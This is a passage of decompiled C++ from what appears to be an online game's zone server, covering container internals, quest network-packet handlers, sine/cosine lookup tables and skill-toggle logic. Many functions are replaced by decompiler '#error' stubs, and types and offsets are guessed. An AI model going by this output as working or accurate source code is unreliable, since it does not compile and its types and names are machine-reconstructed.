4) = *(_DWORD *)(v8 + 28); *(_DWORD *)(v8 + 8) = *(_DWORD *)(v8 + 32); *(_DWORD *)(v8 + 12) = *(_DWORD *)(v8 + 36); v7 += 24; v8 += 24; } while ( v7 != v6 ); } v9 = *(_DWORD *)(v4 + 143676); for ( i = v9 - 24; i != v9; i += 24 ) (**(void (__thiscall ***)(_DWORD, _DWORD))i)(i, 0); *(_DWORD *)(v4 + 143676) -= 24; } else { v5 += 24; } } while ( v5 != *(_DWORD *)(v4 + 143676) ); } } //----- (005477A0) -------------------------------------------------------- void __thiscall std::deque>::_Xlen(std::deque > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "deque too long", 0x11u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00547810) -------------------------------------------------------- void __thiscall std::deque>::_Growmap(std::deque > *this, unsigned int _Count) { std::deque > *v2; // ebx@1 unsigned int v3; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // ecx@3 unsigned int v6; // edi@8 void *v7; // eax@8 NormalAttackDamageDelay::NormalAttackDamageElement **v8; // ecx@8 signed int v9; // esi@8 unsigned int v10; // ST2C_4@8 char *v11; // ecx@8 int v12; // eax@8 char *v13; // eax@8 int v14; // eax@9 unsigned int v15; // ecx@12 void *v16; // edi@12 NormalAttackDamageDelay::NormalAttackDamageElement **v17; // eax@13 unsigned int v18; // esi@13 int v19; // eax@13 unsigned int v20; // eax@18 unsigned int v21; // [sp+Ch] [bp-8h]@9 unsigned int _Myboff; // [sp+10h] [bp-4h]@8 char *_Counta; // [sp+18h] [bp+4h]@8 v2 = this; v3 = this->_Mapsize; v4 = _Count; if ( (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + -v3 + 3) < _Count ) std::deque>::_Xlen(this); v5 = v3 >> 1; if ( v3 >> 1 < 8 ) v5 = 8; if ( _Count < v5 && v3 <= (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + -v5 + 3) ) v4 = v5; v6 = v2->_Myoff; _Myboff = v2->_Myoff; v7 = operator new(4 * (v4 + v3)); v8 = v2->_Map; v9 = 4 * v6; _Counta = (char *)v7; v10 = 4 * ((signed int)((char *)v8 + 4 * v2->_Mapsize - (_DWORD)&v8[v6]) >> 2); memmove((char *)v7 + 4 * v6, (char *)&v8[v6], v10); v11 = (char *)v2->_Map; v13 = (char *)(v10 + v12); if ( v6 > v4 ) { memmove(v13, v11, 4 * ((signed int)(4 * v4) >> 2)); v17 = v2->_Map; v18 = 4 * ((signed int)((char *)v17 + v9 - (_DWORD)&v17[v4]) >> 2); memmove(_Counta, (char *)&v17[v4], v18); v16 = (void *)(v18 + v19); if ( !v4 ) goto LABEL_16; v15 = v4; goto LABEL_15; } v21 = 4 * (v9 >> 2); memmove(v13, v11, v21); if ( v4 != v6 ) { memset((void *)(v21 + v14), 0, 4 * (v4 - v6)); v6 = _Myboff; } if ( v6 ) { v15 = v6; v16 = _Counta; LABEL_15: memset(v16, 0, 4 * v15); } LABEL_16: if ( v2->_Map ) operator delete(v2->_Map); v20 = v2->_Mapsize; v2->_Map = (NormalAttackDamageDelay::NormalAttackDamageElement **)_Counta; v2->_Mapsize = v4 + v20; } //----- (00547960) -------------------------------------------------------- #error "547960: undefined or illegal type '#593' (funcsize=45)" //----- (005479E0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Observer *_Val) { std::vector > *v4; // edi@1 Observer *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00547A50) -------------------------------------------------------- #error "547A50: undefined or illegal type '#593' (funcsize=61)" //----- (00547B50) -------------------------------------------------------- #error "547B50: undefined or illegal type '#593' (funcsize=80)" //----- (00547C60) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, Observer *_Val) { std::vector > *v2; // esi@1 Observer *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 Observer *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 2; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00547CF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::registerObsersver(void *this, Observer *observer) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::registerObsersver"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::registerObsersver"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Observer::SetTick(observer); std::vector>::push_back( (std::vector > *)((char *)v2 + 143668), observer); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::registerObsersver"); } //----- (00547DA0) -------------------------------------------------------- #error "547DA0: undefined or illegal type '#593' (funcsize=99)" //----- (00547EE0) -------------------------------------------------------- void __thiscall NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear(NormalAttackDamageDelay::NormalAttackDamageTick *this) { NormalAttackDamageDelay::NormalAttackDamageTick *v1; // esi@1 unsigned int v2; // eax@1 std::deque >::iterator v3; // ST0C_8@2 std::deque >::iterator v4; // ST04_8@2 std::deque >::iterator result; // [sp+8h] [bp-14h]@2 int v6; // [sp+18h] [bp-4h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->nadt_DamageTime._Mysize; if ( v2 ) { v3.baseclass_0._Myoff = v1->nadt_DamageTime._Myoff + v2; *(_DWORD *)&v3.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v1; v4.baseclass_0._Myoff = v1->nadt_DamageTime._Myoff; *(_DWORD *)&v4.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v1; std::deque>::erase( &v1->nadt_DamageTime, &result, v4, v3); } --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear"); } //----- (00547F80) -------------------------------------------------------- void __thiscall ShineQuestDiary::ShineQuestDiary(ShineQuestDiary *this) { CQuestZone::CQuestZone(&this->sqd_QuestDiary, &gQuestData); } //----- (00547FB0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_QuestCheck(int qf, int a2, int a3, int mobinf) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_QuestCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_QuestCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_QuestCheck"); } //----- (00548000) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestCheck(void *this, void (__thiscall *qf)(_DWORD, _DWORD, _DWORD, _DWORD), int a3, int a4, int mobinf) { void *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qf((char *)v5 + 66176, a3, a4, mobinf); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_QuestCheck"); } //----- (005480B0) -------------------------------------------------------- void __thiscall ShineQuestDiary::sqd_MobDead(ShineQuestDiary *this, #593 *a2, #593 *mob, MobDataBox::MobDataBoxIndex *mobinf) { CQuestZone *v4; // esi@1 v4 = (CQuestZone *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineQuestDiary::sqd_MobDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineQuestDiary::sqd_MobDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuestZone::QuestPlayer_NPCMobKill(v4, mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineQuestDiary::sqd_MobDead"); } //----- (00548150) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_ItemLotChange(__int16 item, int delta) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ItemLotChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_ItemLotChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ItemLotChange"); } //----- (005481A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotChange(void *this, int item, int delta) { void *v3; // esi@1 int v4; // edx@1 int v5; // esi@1 int v6; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 16544); v5 = (int)((char *)v3 + 66176); v6 = (unsigned __int16)(*(int (__thiscall **)(int, int))(v4 + 104))(v5, item); if ( delta <= 0 ) { if ( delta < 0 ) (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v5 + 16))(v5, item, v6); } else { (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v5 + 12))(v5, item, v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotChange"); } //----- (00548270) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) { *((_DWORD *)v4 + 5834) = clockwatch.cw_CurrTick; CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK( (CQuestZone *)((char *)v4 + 66176), (PROTO_NC_QUEST_SCRIPT_CMD_ACK *)(netcmd + 2)); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SCRIPT_CMD_ACK"); } //----- (00548330) -------------------------------------------------------- #error "548330: undefined or illegal type '#593' (funcsize=60)" //----- (00548420) -------------------------------------------------------- #error "548420: undefined or illegal type '#593' (funcsize=60)" //----- (00548510) -------------------------------------------------------- #error "548510: undefined or illegal type '#593' (funcsize=60)" //----- (00548600) -------------------------------------------------------- #error "548600: undefined or illegal type '#593' (funcsize=60)" //----- (005486F0) -------------------------------------------------------- #error "5486F0: undefined or illegal type '#593' (funcsize=60)" //----- (005487E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 CQuestZone *v5; // ecx@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) { v5 = (CQuestZone *)((char *)v4 + 66176); if ( clockwatch.cw_CurrTick >= *((_DWORD *)v4 + 5834) + 100 ) CQuestZone::Recv_NC_QUEST_GIVE_UP_REQ(v5, (PROTO_NC_QUEST_GIVE_UP_REQ *)(netcmd + 2)); else CQuestZone::Send_NC_QUEST_GIVE_UP_ACK(v5, *(_WORD *)(netcmd + 2), 0xB49u); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_GIVE_UP_REQ"); } //----- (005488B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) CQuestZone::Recv_NC_QUEST_CLIENT_SCENARIO_DONE_REQ( (CQuestZone *)((char *)v4 + 66176), (PROTO_NC_QUEST_CLIENT_SCENARIO_DONE_REQ *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_CLIENT_SCENARIO_DONE_REQ"); } //----- (00548960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) CQuestZone::Recv_NC_QUEST_SELECT_START_REQ( (CQuestZone *)((char *)v4 + 66176), (PROTO_NC_QUEST_SELECT_START_REQ *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_SELECT_START_REQ"); } //----- (00548A10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) CQuestZone::Recv_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD( (CQuestZone *)((char *)v4 + 66176), (PROTO_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD *)(netcmd + 2)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD"); } //----- (00548AC0) -------------------------------------------------------- #error "548AC0: undefined or illegal type '#593' (funcsize=89)" //----- (00548BF0) -------------------------------------------------------- #error "548BF0: undefined or illegal type '#593' (funcsize=89)" //----- (00548D20) -------------------------------------------------------- #error "548D20: undefined or illegal type '#593' (funcsize=60)" //----- (00548E10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_IsActiveMode(v4) ) { if ( v4 != (void *)-66176 && !CQuestZone::Send_NC_QUEST_DB_READ_REQ((CQuestZone *)((char *)v4 + 66176), *(_WORD *)(netcmd + 2)) ) _ErrorSendPlayer((#593 *)v4, 2905, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ"); } else { _ErrorSendPlayer((#593 *)v4, 2906, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ"); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_QUEST_READ_REQ"); } //----- (00548EF0) -------------------------------------------------------- void __thiscall ShineRadian::ShineRadian(ShineRadian *this) { signed int v1; // esi@1 long double v2; // st7@2 signed int sr; // [sp+0h] [bp-4h]@1 v1 = 0; sr = 0; do { v2 = (double)sr * 0.03490658555555556; this->sr_sin[v1] = (unsigned __int64)(sin(v2) * 1024.0); this->sr_cos[v1++] = (unsigned __int64)(cos(v2) * 1024.0); sr = v1; } while ( v1 < 180 ); } //----- (00548F50) -------------------------------------------------------- int __thiscall ShineRadian::sr_sin1024(ShineRadian *this, int sr) { return this->sr_sin[sr % 180]; } //----- (00548F70) -------------------------------------------------------- int __thiscall ShineRadian::sr_cos1024(ShineRadian *this, int sr) { return this->sr_cos[sr % 180]; } //----- (00548F90) -------------------------------------------------------- int __thiscall ShineRadian::sr_degree2sr(ShineRadian *this, int deg) { int v2; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineRadian::sr_degree2sr"); v2 = deg; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineRadian::sr_degree2sr"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( deg < 0 ) v2 = deg + 360 * (-1 - deg) / 0x168u + 360; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineRadian::sr_degree2sr"); return 180 * v2 % 360 / 360 % 180; } //----- (00549040) -------------------------------------------------------- void __thiscall BriefInformationMagicField::bimfm_InitBriefInfo(BriefInformationMagicField *this, unsigned __int16 handle, unsigned __int16 caster, unsigned __int16 skillid, SHINE_XY_TYPE *loc, int radious) { PROTO_NC_BRIEFINFO_MAGICFIELDSPREAD_CMD *v6; // edx@1 this->bimfm_BriefInfo->handle = handle; this->bimfm_BriefInfo->caster = caster; this->bimfm_BriefInfo->skillid = skillid; v6 = this->bimfm_BriefInfo; v6->location.x = loc->x; v6->location.y = loc->y; this->bimfm_BriefInfo->radious = radious; } //----- (00549090) -------------------------------------------------------- void __thiscall VectorClass::UnitVector::Rotation(VectorClass::UnitVector *this, int Radian) { VectorClass::UnitVector *v2; // esi@1 int v3; // ebx@1 int v4; // edi@1 int v5; // ST14_4@1 int v6; // ebp@1 int Radiana; // [sp+18h] [bp+4h]@1 v2 = this; v3 = this->baseclass_0.baseclass_4.v_x; v4 = Radian; v5 = this->baseclass_0.baseclass_4.v_y; Radiana = this->baseclass_0.baseclass_4.v_y * ShineRadian::sr_sin1024(&shineradian, Radian); v2->baseclass_0.baseclass_4.v_x = (v3 * ShineRadian::sr_cos1024(&shineradian, v4) - Radiana) / 1024; v6 = v5 * ShineRadian::sr_cos1024(&shineradian, v4); v2->baseclass_0.baseclass_4.v_y = (v6 + v3 * ShineRadian::sr_sin1024(&shineradian, v4)) / 1024; } //----- (00549120) -------------------------------------------------------- void __thiscall FanFormSectorArgument::_FanFormSectorArgument(FanFormSectorArgument *this) { this->ffsa_chardirect.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); //----- (00549130) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastSuccessPacket(int this) { int v1; // esi@1 int v2; // eax@1 int result; // eax@1 v1 = this; v2 = *(_DWORD *)this; *(_WORD *)(this + 32165) = 0; result = (*(int (__stdcall **)(signed int, signed int))(v2 + 772))(9, 53); *(_BYTE *)(v1 + 139468) &= 0xFDu; return result; } //----- (00549160) -------------------------------------------------------- #error "549160: undefined or illegal type '#615' (funcsize=8)" //----- (00549190) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this, int Location) { int v2; // esi@1 int v3; // ecx@1 int result; // eax@1 v2 = (int)this; (*(void (**)(void))(*(_DWORD *)this + 2644))(); (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v2 + 828))(v2, 0, 1, 3); v3 = *(_DWORD *)(v2 + 78); *(_DWORD *)v3 = *(_DWORD *)Location; *(_DWORD *)(v3 + 4) = *(_DWORD *)(Location + 4); *(_DWORD *)(v2 + 8992) = *(_DWORD *)Location; *(_DWORD *)(v2 + 8996) = *(_DWORD *)(Location + 4); ShineObjectClass::ShineMob::sm_SetBrain((void *)v2); result = FieldMap::fm_Marking(*(#593 **)(v2 + 98), v2, 0, 0) == 0; if ( !result ) { AssertClass::ac_AssertFail(&shineassert, "ShineMob::smo_Teleport : Fail", 0); result = *(_DWORD *)(v2 + 3568); *(_BYTE *)result = 3; *(_DWORD *)(v2 + 7480) = 0; } return result; } //----- (00549220) -------------------------------------------------------- void __thiscall AxialListMagicFieldAggro::_AxialListMagicFieldAggro(AxialListMagicFieldAggro *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldAggro::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 671E7C: using guessed type int (__stdcall *AxialListMagicFieldAggro___vftable_)(int, int, int distancesquar); //----- (00549230) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCastFail(int this, __int16 err) { __int16 result; // ax@1 result = err; *(_WORD *)(this + 32165) = err; return result; } //----- (00549240) -------------------------------------------------------- void __thiscall AxialListHideFromTarget::_AxialListHideFromTarget(AxialListHideFromTarget *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListHideFromTarget::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 671E84: using guessed type int (__stdcall *AxialListHideFromTarget___vftable_)(int, int, int distancesquar); //----- (00549250) -------------------------------------------------------- #error "549250: undefined or illegal type '#615' (funcsize=7)" //----- (00549270) -------------------------------------------------------- #error "549270: undefined or illegal type '#734' (funcsize=4)" //----- (00549280) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ChineCastCut(void *this) { void *v1; // esi@1 v1 = this; *((_BYTE *)v1 + 7428) |= 0x40u; ShineObjectClass::ShinePlayer::sp_ChineCastCut(this); *((_BYTE *)v1 + 7428) &= 0xBFu; } //----- (005492A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_ToggleSkill_IsOn(int this, unsigned __int16 nSkillID) { return CharaterSkillList::csl_Toggle_IsOn((CharaterSkillList *)(this + 68496), nSkillID); } //----- (005492B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToggleSkill_On(void *this, int pSkillIdx, int pEmpower) { void *v3; // esi@1 char *v4; // eax@5 int v5; // eax@7 v3 = this; if ( pSkillIdx ) { if ( !(*(int (__stdcall **)(signed int))(*(_DWORD *)this + 1000))(231) && !(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v3 + 1000))(v3, 605) ) { CharaterSkillList::csl_Toggle_SetOnOff((CharaterSkillList *)((char *)v3 + 68496), **(_WORD **)(pSkillIdx + 4), 1); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9308; *((_WORD *)v4 + 1) = **(_WORD **)(pSkillIdx + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_ToggleSkill_On : Packet Too Long", 4); } } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_ToggleSkill_On : INVALID Skill", 0); } } //----- (00549380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToggleSkill_Off(int this, int pSkillIdx) { int v2; // esi@1 char *v3; // eax@3 int v4; // eax@5 v2 = this; if ( pSkillIdx ) { CharaterSkillList::csl_Toggle_SetOnOff((CharaterSkillList *)(this + 68496), **(_WORD **)(pSkillIdx + 4), 0); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9309; *((_WORD *)v3 + 1) = **(_WORD **)(pSkillIdx + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_ToggleSkill_Off : Packet Too Long", 4); } } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_ToggleSkill_OFF : invalid spell", 0); } } //----- (00549410) -------------------------------------------------------- #error "549410: undefined or illegal type '#593' (funcsize=4)" //----- (00549420) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_DmgCoolTimeDown(int this) { CharaterSkillList::csl_DmgCoolTimeDown((CharaterSkillList *)(this + 68496)); } //----- (00549440) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_CheckDamageAbsorption(void *this, int nDamage) { void *v2; // esi@1 int v3; // edx@1 int result; // eax@2 v2 = this; (*(void (__stdcall **)(_DWORD))(*(_DWORD *)this + 3148))(0); v3 = *(_DWORD *)v2; if ( nDamage > 0 ) { (*(void (__thiscall **)(void *, int))(v3 + 3128))(v2, nDamage); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v2 + 3136))(v2, nDamage); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v2 + 2628))(v2, 5, 0, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 3128))(v2, 0); result = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 3132))(v2); } else { (*(void (__thiscall **)(void *, _DWORD))(v3 + 3128))(v2, 0); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 3136))(v2, 0); 